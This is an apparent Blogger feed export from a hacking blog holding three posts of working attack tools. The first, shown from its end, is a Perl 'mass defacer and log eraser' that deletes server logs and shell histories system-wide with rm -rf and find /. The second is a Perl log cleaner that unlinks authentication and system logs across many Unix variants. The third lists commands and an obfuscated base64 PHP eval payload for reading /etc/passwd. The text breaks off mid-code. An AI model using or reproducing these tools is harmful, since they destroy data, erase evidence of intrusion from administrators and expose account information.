      system &quot;echo -e \&quot;\\033[01;31m[*]/var/apache/log - No such file or directory\\033[01;37m\&quot;\n&quot;;
      }
    if( -e &quot;/var/apache/logs&quot; )
      {
      system &#39;rm -rf /var/apache/logs&#39;;
      system &quot;echo -e \&quot;\\033[01;37m[*]/var/apache/logs -erased Ok\&quot;\n&quot;;
      }
    else
      {
      system &quot;echo -e \&quot;\\033[01;31m[*]/var/apache/logs - No such file or directory\\033[01;37m\&quot;\n&quot;;
      }
    if( -e &quot;/usr/local/apache/log&quot; )
      {
      system &#39;rm -rf /usr/local/apache/log&#39;;
      system &quot;echo -e \&quot;\\033[01;37m[*]/usr/local/apache/log -erased Ok\&quot;\n&quot;;
      }
    else
      {
      system &quot;echo -e \&quot;\\033[01;31m[*]/usr/local/apache/log - No such file or directory\\033[01;37m\&quot;\n&quot;;
      }
    if( -e &quot;/usr/local/apache/logs&quot; )
      {
      system &#39;rm -rf /usr/local/apache/logs&#39;;
      system &quot;echo -e \&quot;\\033[01;37m[*]/usr/local/apache/logs -erased Ok\&quot;\n&quot;;
      }
  else
      {
      system &quot;echo -e \&quot;\\033[01;31m[*]/usr/local/apache/logs - No such file or directory\\033[01;37m\&quot;\n&quot;;
      }
    if( -e &quot;/root/.bash_history&quot; )
      {
      system &#39;rm -rf /root/.bash_history&#39;;
      system &quot;echo -e \&quot;\\033[01;37m[*]/root/.bash_history -erased Ok\&quot;\n&quot;;
      }
    else
      {
      system &quot;echo -e \&quot;\\033[01;31m[*]/root/.bash_history - No such file or directory\\033[01;37m\&quot;\n&quot;;
      }
    if( -e &quot;/root/.ksh_history&quot; )
      {
      system &#39;rm -rf /root/.ksh_history&#39;;
      system &quot;echo -e \&quot;\\033[01;37m[*]/root/.ksh_history -erased Ok\&quot;\n&quot;;
      }
    else
      {
      system &quot;echo -e \&quot;\\033[01;31m[*]/root/.ksh_history - No such file or directory\\033[01;37m\&quot;\n&quot;;
      }
  system &quot;echo -e \&quot;\\033[01;37m[+] -----done all default log and bash_history files erased !!\&quot;\n&quot;;
  system &quot;echo -e \&quot;\033[01;34m---------Now Erasing the rest of the machine log files (can be long :S)---------\033[01;37m\&quot;\n&quot;;
  system &#39;find / -name *.bash_history -exec rm -rf {} \;&#39;;
  system &quot;echo -e \&quot;\\033[01;37m[*] all *.bash_history files -erased Ok!\&quot;\n&quot;;
  system &#39;find / -name *.bash_logout -exec rm -rf {} \;&#39;;
  system &quot;echo -e \&quot;\\033[01;37m[*] all *.bash_logout files -erased Ok!\&quot;\n&quot;;
  system &#39;find / -name &quot;log*&quot; -exec rm -rf {} \;&#39;;
  system &quot;echo -e \&quot;\\033[01;37m[*] all log* files -erased Ok!\&quot;\n&quot;;
  system &#39;find / -name *.log -exec rm -rf {} \;&#39;;
  system &quot;echo -e \&quot;\\033[01;37m[*] all *.log files -erased Ok!\&quot;\n&quot;;
  system &quot;echo -e \&quot;\033[01;34m-------[+] !done all log files erased![+]-------\033[01;37m\&quot;\n&quot;;
  system &quot;echo -e \&quot;\033[01;34m---------------------------------------------------\033[01;37m\&quot;\n&quot;;
  system &quot;echo -e \&quot;\033[01;34m-----------------MSRml V 0.1----------------------\033[01;37m\&quot;\n&quot;;
}
else
{
system &quot;echo -e \&quot;\\033[01;31m[-] Failed ! the path to u&#39;re index could not be found !\\033[01;37m\&quot;\n&quot;;
exit;
}
}
else
{
system &quot;echo -e \&quot;\\033[01;37m!!Morocco.Security.Rulz mass defacer and log eraser !!\&quot;\n&quot;;
system &quot;echo -e \&quot;\\033[01;37m!!!!!!!!!!!!!!!!!!coded by nu11_()_v0!d l!!!!!!!!!!!!!!!!!!!!!!!!\&quot;\n&quot;;
system &quot;echo -e \&quot;\\033[01;31m!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!\\033[01;37m\&quot;\n&quot;;
system &quot;echo -e \&quot;\\033[01;37musage : perl $0 &lt;path index=&quot;index&quot; re=&quot;re&quot; too=&quot;too&quot; u=&quot;u&quot;&gt;\&quot;\n&quot;;
system &quot;echo -e \&quot;\\033[01;37mexample : perl $0 /tmp/index.html\&quot;\n&quot;;
exit;
}
&lt;/path&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/5998329530293099140'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/5998329530293099140'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/09/private-log-cleaner-and-mass-defacer.html' title='PRIVATE LOG CLEANER AND MASS DEFACER '/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-2747379504257033928</id><published>2012-09-25T02:54:00.001+05:30</published><updated>2012-09-25T02:54:18.555+05:30</updated><title type='text'>OpenFire Virtual Log Cleaner @version 0.1</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;messageContent&quot;&gt;
		
			&lt;article&gt;
				&lt;blockquote class=&quot;messageText ugc baseHtml&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-family: &#39;courier new&#39;;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;OpenFire Virtual Log Cleaner @version 0.1&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/blockquote&gt;
PROGRAMMING EXPO --- 1. &lt;br /&gt;
COPYRIGH PROTECTED !!&lt;br /&gt;
&lt;blockquote class=&quot;messageText ugc baseHtml&quot;&gt;
 &lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeCode&quot;&gt;
&lt;div class=&quot;type&quot;&gt;
Code:&lt;/div&gt;
&lt;pre&gt;#!usr/bin/perl
   { 
   $resume = 1; 
   
     print &quot;##################################n&quot;;
     print &quot;#          OpenFire Virtual Log Cleaner v 0.1             #n&quot;;   
     while($resume == 1) #Start Loop 
   { 
     print &quot;# Usage log.pl               #n&quot;;
     print &quot;# Operating System Choice        #n&quot;;
     print &quot;#--------------------------------#n&quot;;
     print &quot;# linux                          #n&quot;;
     print &quot;# sunos                          #n&quot;;
     print &quot;# aix                            #n&quot;;
     print &quot;# irix                           #n&quot;;
     print &quot;# openbsd                        #n&quot;;
     print &quot;# solaris                        #n&quot;;
     print &quot;# suse                           #n&quot;;
     print &quot;# lampp                          #n&quot;;
     print &quot;# debian                         #n&quot;;
     print &quot;# freebsd                        #n&quot;;
     print &quot;# misc Possible Log Locations    #n&quot;;
     print &quot;##################################n&quot;;

     chomp($os = ); 

                if($os eq &quot;misc&quot;){ #If misc typed, do the following and start brackets 
             print &quot;[+]misc Selected...n&quot;;   
             sleep 1; 
             print &quot;[+]Logs Located...n&quot;; 
             sleep 1; 
             unlink @misc;   
             sleep 1; 
             print &quot;[+]Logs Successfully Deleted...n&quot;; 
              }

                if($os eq &quot;openbsd&quot;){ #If openbsd typed, do the following and start brackets 
             print &quot;[+]openbsd Selected...n&quot;; 
             sleep 1; 
             print &quot;[+]Logs Located...n&quot;;   
             sleep 1; 
             unlink @openbsd;   
             sleep 1; 
             print &quot;[+]Logs Successfully Deleted...n&quot;;   
              }

                if($os eq &quot;freebsd&quot;){ #If freebsd typed, do the following and start brackets 
             print &quot;[+]freebsd Selected...n&quot;;   
             sleep 1; 
             print &quot;[+]Logs Located...n&quot;;   
             sleep 1; 
             unlink @freebsd;   
             sleep 1; 
             print &quot;[+]Logs Successfully Deleted...n&quot;; 
              }

                if($os eq &quot;debian&quot;){ #If Debian typed, do the following and start brackets 
             print &quot;[+]debian Selected...n&quot;;
             sleep 1; 
             print &quot;[+]Logs Located...n&quot;;
             sleep 1; 
             unlink @debian;   
             sleep 1; 
             print &quot;[+]Logs Successfully Deleted...n&quot;;
              }

                if($os eq &quot;suse&quot;){ #If suse typed, do the following and start brackets 
             print &quot;[+]suse Selected...n&quot;; 
             sleep 1; 
             print &quot;[+]Logs Located...n&quot;;
             sleep 1; 
             unlink @suse;   
             sleep 1; 
             print &quot;[+]Logs Successfully Deleted...n&quot;;
              }

                if($os eq &quot;solaris&quot;){ #If solaris typed, do the following and start brackets 
             print &quot;[+]solaris Selected...n&quot;;
             sleep 1; 
             print &quot;[+]Logs Located...n&quot;;
             sleep 1; 
             unlink @solaris;
             sleep 1; 
             print &quot;[+]Logs Successfully Deleted...n&quot;; 
              }

                if($os eq &quot;lampp&quot;){ #If lampp typed, do the following and start brackets 
             print &quot;[+]Lampp Selected...n&quot;; 
             sleep 1; 
             print &quot;[+]Logs Located...n&quot;;
             sleep 1; 
             unlink @lampp; 
             sleep 1; 
             print &quot;[+]Logs Successfully Deleted...n&quot;;
              }

                if($os eq &quot;redhat&quot;){ #If redhat typed, do the following and start brackets 
             print &quot;[+]Red Hat Linux/Mac OS X Selected...n&quot;;
             sleep 1; 
             print &quot;[+]Logs Located...n&quot;;
             sleep 1; 
             unlink @redhat;
             sleep 1; 
             print &quot;[+]Logs Successfully Deleted...n&quot;;
              }
       
                if($os eq &quot;linux&quot;){ #If linux typed, do the following and start brackets 
             print &quot;[+]Linux Selected...n&quot;;   
             sleep 1; 
             print &quot;[+]Logs Located...n&quot;; 
             sleep 1; 
             unlink @linux; 
             sleep 1; 
             print &quot;[+]Logs Successfully Deleted...n&quot;;
              } 
             
              if($os eq &quot;sunos&quot;){ #If sunos typed, do the following and start brackets 
              print &quot;[+]SunOS Selected...n&quot;;
              sleep 1; 
              print &quot;[+]Logs Located...n&quot;; 
              sleep 1; 
              unlink @sunos; 
              print &quot;[+]Logs Successfully Deleted...n&quot;; 
              }   
               
              if($os eq &quot;aix&quot;){ #If aix typed, do the following and start brackets 
                 print &quot;[+]Aix Selected...n&quot;;
                 sleep 1; 
              print &quot;[+]Logs Located...n&quot;;
              sleep 1; 
              unlink @aix;
              print &quot;[+]Logs Successfully Deleted...n&quot;;
              }
             
              if($os eq &quot;irix&quot;){ #If irix typed, do the following and start bracket 
              print &quot;[+]Irix Selected...n&quot;;
              sleep 1; 
              print &quot;[+]Logs Located...n&quot;; 
              sleep 1; 
              unlink @irix;   
              print &quot;[+]Logs Successfully Deleted...n&quot;; 
              }

                                #Misc Log Locations   
      {                       
      @misc = (&quot;/etc/httpd/logs/access.log&quot;, &quot;/etc/httpd/logs/error.log&quot;,&quot;/etc/httpd/logs/access_log&quot;,
            &quot;/etc/httpd/logs/error_log&quot;,&quot;/usr/local/apache/logs/access_log&quot;,&quot;/usr/local/apache/logs/error_log&quot;,
            &quot;/usr/local/apache/logs/access.log&quot;,&quot;/usr/local/apache/logs/error.log&quot;,&quot;/var/log/apache/access_log&quot;,
            &quot;/var/log/apache/error_log&quot;,&quot;/var/log/apache/access.log&quot;,&quot;/var/log/apache/error.log&quot;,&quot;/var/log/access_log&quot;,
            &quot;/var/log/error_log&quot;,&quot;/var/www/logs/error.log&quot;,&quot;/var/www/logs/access.log&quot;,&quot;/var/www/logs/error_log&quot;,
            &quot;/var/www/logs/access_log&quot;)
         }

                                 #Logs of OpenBSD Systems 
   
      { 
       @openbsd = (&quot;/var/www/log/access_log&quot;, &quot;/var/www/log/error_log&quot;) 
           }

                                 #Logs of FreeBSD Systems 
   
      { 
       @freebsd = (&quot;/usr/local/etc/httpd/logs/access_log&quot;, &quot;/usr/local/etc/httpd/logs/error_log&quot;)
           }

                                 #Logs of Debian Systems 
   
      { 
       @debian = (&quot;/var/log/apache/access.log&quot;, &quot;/var/log/apache/error.log&quot;,
       &quot;/var/log/apache-ssl/error.log&quot;, &quot;/var/log/apache-ssl/access.log&quot;) 
           }   

                                 #Logs of SuSE Linux Systems 
   
      { 
       @suse = (&quot;/var/log/httpd/access_log&quot;, &quot;/var/log/httpd/error_log&quot;)
           }

                                 #Logs of Solaris Systems 
   
      {   
       @solaris = (&quot;/var/apache/logs/access_log&quot;, &quot;/var/apache/logs/error_log&quot;)
           }

                                 #Logs of Lampp Systems 
   
      { 
       @lampp = (&quot;/opt/lampp/logs/error_log&quot;, &quot;/opt/lampp/logs/access_log&quot;)
           }

                                 #Logs of Red Hat, Mac OS X Systems 
   
      { 
       @redhat = (&quot;/var/log/httpd/access_log&quot;, &quot;/var/log/httpd/error_log&quot;)
           }
               
                                 #Logs of Irix Systems 
   
      { 
       @irix = (&quot;/var/adm/SYSLOG&quot;, &quot;/var/adm/sulog&quot;, &quot;/var/adm/utmp&quot;, &quot;/var/adm/utmpx&quot;, 
              &quot;/var/adm/wtmp&quot;, &quot;/var/adm/wtmpx&quot;, &quot;/var/adm/lastlog/&quot;, 
            &quot;/usr/spool/lp/log&quot;, &quot;/var/adm/lp/lp-errs&quot;, &quot;/usr/lib/cron/log&quot;, 
            &quot;/var/adm/loginlog&quot;, &quot;/var/adm/pacct&quot;, &quot;/var/adm/dtmp&quot;, 
            &quot;/var/adm/acct/sum/loginlog&quot;, &quot;var/adm/X0msgs&quot;, &quot;/var/adm/crash/vmcore&quot;, 
            &quot;/var/adm/crash/unix&quot;) 
           }

                                #Log sof Aix Systems 
      {   
      @aix = (&quot;/var/adm/pacct&quot;, &quot;/var/adm/wtmp&quot;, &quot;/var/adm/dtmp&quot;, &quot;/var/adm/qacct&quot;,   
               &quot;/var/adm/sulog&quot;, &quot;/var/adm/ras/errlog&quot;, &quot;/var/adm/ras/bootlog&quot;, 
               &quot;/var/adm/cron/log&quot;, &quot;/etc/utmp&quot;, &quot;/etc/security/lastlog&quot;, 
               &quot;/etc/security/failedlogin&quot;, &quot;usr/spool/mqueue/syslog&quot;)   
         } 

                                #Logs of SunOS Systems   
      {                     
      @sunos = (&quot;/var/adm/messages&quot;, &quot;/var/adm/aculogs&quot;, &quot;/var/adm/aculog&quot;, 
                 &quot;/var/adm/sulog&quot;, &quot;/var/adm/vold.log&quot;, &quot;/var/adm/wtmp&quot;, 
                 &quot;/var/adm/wtmpx&quot;, &quot;/var/adm/utmp&quot;, &quot;/var/adm/utmpx&quot;, 
                 &quot;/var/adm/log/asppp.log&quot;, &quot;/var/log/syslog&quot;, 
                 &quot;/var/log/POPlog&quot;, &quot;/var/log/authlog&quot;, &quot;/var/adm/pacct&quot;, 
                 &quot;/var/lp/logs/lpsched&quot;, &quot;/var/lp/logs/requests&quot;, 
              &quot;/var/cron/logs&quot;, &quot;/var/saf/_log&quot;, &quot;/var/saf/port/log&quot;)
         }     

                                #Logs of Linux Systems       
      {     
       @linux = (&quot;/var/log/lastlog&quot;, &quot;/var/log/telnetd&quot;, &quot;/var/run/utmp&quot;, 
                 &quot;/var/log/secure&quot;,&quot;/root/.ksh_history&quot;, &quot;/root/.bash_history&quot;, 
                 &quot;/root/.bash_logut&quot;, &quot;/var/log/wtmp&quot;, &quot;/etc/wtmp&quot;, 
                 &quot;/var/run/utmp&quot;, &quot;/etc/utmp&quot;, &quot;/var/log&quot;, &quot;/var/adm&quot;, 
                 &quot;/var/apache/log&quot;, &quot;/var/apache/logs&quot;, &quot;/usr/local/apache/logs&quot;, 
                 &quot;/usr/local/apache/logs&quot;, &quot;/var/log/acct&quot;, &quot;/var/log/xferlog&quot;, 
                 &quot;/var/log/messages/&quot;, &quot;/var/log/proftpd/xferlog.legacy&quot;, 
                 &quot;/var/log/proftpd.xferlog&quot;, &quot;/var/log/proftpd.access_log&quot;, 
                 &quot;/var/log/httpd/error_log&quot;, &quot;/var/log/httpsd/ssl_log&quot;, 
                 &quot;/var/log/httpsd/ssl.access_log&quot;, &quot;/etc/mail/access&quot;, 
                 &quot;/var/log/qmail&quot;, &quot;/var/log/smtpd&quot;, &quot;/var/log/samba&quot;, 
                 &quot;/var/log/samba.log.%m&quot;, &quot;/var/lock/samba&quot;, &quot;/root/.Xauthority&quot;, 
                 &quot;/var/log/poplog&quot;, &quot;/var/log/news.all&quot;, &quot;/var/log/spooler&quot;, 
                 &quot;/var/log/news&quot;, &quot;/var/log/news/news&quot;, &quot;/var/log/news/news.all&quot;, 
                 &quot;/var/log/news/news.crit&quot;, &quot;/var/log/news/news.err&quot;, &quot;/var/log/news/news.notice&quot;, 
                 &quot;/var/log/news/****.err&quot;, &quot;/var/log/news/****.notice&quot;, 
                 &quot;/var/spool/tmp&quot;, &quot;/var/spool/errors&quot;, &quot;/var/spool/logs&quot;, &quot;/var/spool/locks&quot;, 
                 &quot;/usr/local/www/logs/thttpd_log&quot;, &quot;/var/log/thttpd_log&quot;, 
                 &quot;/var/log/ncftpd/misclog.txt&quot;, &quot;/var/log/nctfpd.errs&quot;, 
                 &quot;/var/log/auth&quot;)
         } 
         
      }

   }&lt;/pre&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;/article&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/2747379504257033928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/2747379504257033928'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/09/openfire-virtual-log-cleaner-version-01.html' title='OpenFire Virtual Log Cleaner @version 0.1'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-6931632784318887368</id><published>2012-09-25T02:50:00.000+05:30</published><updated>2012-09-25T02:50:11.172+05:30</updated><title type='text'>Bypass forbidden For Get Passwd</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Bypass forbidden For Get Passwd&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;i&gt;&lt;b&gt;&lt;span style=&quot;color: lime;&quot;&gt;you Can Use This Commands&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;div class=&quot;bbCodeBlock bbCodePHP&quot;&gt;
&lt;div class=&quot;type&quot;&gt;
COMMAND:&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;
&lt;code&gt;&lt;span style=&quot;color: black;&quot;&gt;
&lt;span style=&quot;color: #0000bb;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;awk&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;F&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;:&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&#39;{&amp;nbsp;print&amp;nbsp;$1&amp;nbsp;}&#39;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;etc&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;*/&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;passwd&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;&lt;/span&gt;
&lt;/span&gt;
&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodePHP&quot;&gt;
&lt;div class=&quot;type&quot;&gt;
COMMAND:&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;
&lt;code&gt;&lt;span style=&quot;color: black;&quot;&gt;
&lt;span style=&quot;color: #0000bb;&quot;&gt;&lt;br /&gt;awk&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;F&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;:&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&#39;{&amp;nbsp;print&amp;nbsp;$1&amp;nbsp;}&#39;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;etc&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;*/&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;passwd&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;|&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;sort&lt;/span&gt;
&lt;/span&gt;
&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodePHP&quot;&gt;
&lt;div class=&quot;type&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;type&quot;&gt;
COMMAND:&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;
&lt;code&gt;&lt;span style=&quot;color: black;&quot;&gt;
&lt;span style=&quot;color: #0000bb;&quot;&gt;&lt;br /&gt;awk&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;F&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;:&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&#39;{&amp;nbsp;print&amp;nbsp;}&#39;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;etc&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;*/&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;passwd&lt;/span&gt;
&lt;/span&gt;
&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodePHP&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodePHP&quot;&gt;
COMMAND:&lt;div class=&quot;code&quot;&gt;
&lt;code&gt;&lt;span style=&quot;color: black;&quot;&gt;
&lt;span style=&quot;color: #0000bb;&quot;&gt;awk&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;F&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;:&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&#39;{&amp;nbsp;print&amp;nbsp;$1&amp;nbsp;&quot;&amp;nbsp;&quot;$2&amp;nbsp;&quot;&amp;nbsp;&quot;&amp;nbsp;$3&quot;&amp;nbsp;&quot;$4&quot;&amp;nbsp;&quot;$5&amp;nbsp;&quot;&amp;nbsp;&quot;$6&quot;&amp;nbsp;&quot;$7&quot;&amp;nbsp;&quot;}&#39;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;etc&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;passwd&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;|&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;sort&amp;nbsp;&lt;/span&gt;
&lt;/span&gt;
&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodeCode&quot;&gt;
&lt;div class=&quot;type&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;type&quot;&gt;
Code:&lt;/div&gt;
&lt;pre&gt;ln -s /etc/ password 2.txt
cat 2.txt
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodePHP&quot;&gt;
&lt;div class=&quot;type&quot;&gt;
PHP:&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;
&lt;code&gt;&lt;span style=&quot;color: black;&quot;&gt;
&lt;span style=&quot;color: #0000bb;&quot;&gt;&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;eval(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;gzinflate&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;base64_decode&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&#39;NYzbCoJAEIavd2HfYRIvPERKF0FY0BP0AhVhNrmDpqJrJuG7N2oNzOmfb/7A85QEDw5xa3RZw+l4Sdseuc1yUlZ9Tak2sA7D7agFSippE+whjJTsNOUIDu872IQcLnyUFHZOBTJSlQ29rymaqmvpzpjLP4Ie4CzwWZnemUB3fhI/s5waw5YZ9kuwX7nLPhgn+s9OqMBEl+N1ZZ0LK5qkW41xNo0DF04QNvk+K8MX&#39;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)));&lt;br /&gt;&amp;nbsp;&lt;/span&gt;
&lt;/span&gt;
&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;div class=&quot;bbCodeBlock bbCodeCode&quot;&gt;
&lt;div class=&quot;type&quot;&gt;
Code:&lt;/div&gt;
&lt;pre&gt; 
cd /ect;cat passwd
 
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class=&quot;type&quot;&gt;
PHP:&lt;/div&gt;
&lt;code&gt;&lt;span style=&quot;color: black;&quot;&gt;
&lt;span style=&quot;color: #0000bb;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;for(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$uid&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$uid&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;60000&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$uid&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;++){&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$ara&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;=&amp;nbsp;@&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;posix_getpwuid&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$uid&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;);&lt;br /&gt;if&amp;nbsp;(!empty(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$ara&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;))&amp;nbsp;{&lt;br /&gt;while&amp;nbsp;(list&amp;nbsp;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$key&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$val&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;each&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$ara&lt;/span&gt;&lt;span style=&quot;color: #007700;&quot;&gt;)){&lt;br /&gt;print&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #0000bb;&quot;&gt;$val&lt;/span&gt;&lt;span style=&quot;color: #dd0000;&quot;&gt;:&quot;&lt;/span&gt;&lt;span style=&quot;color: 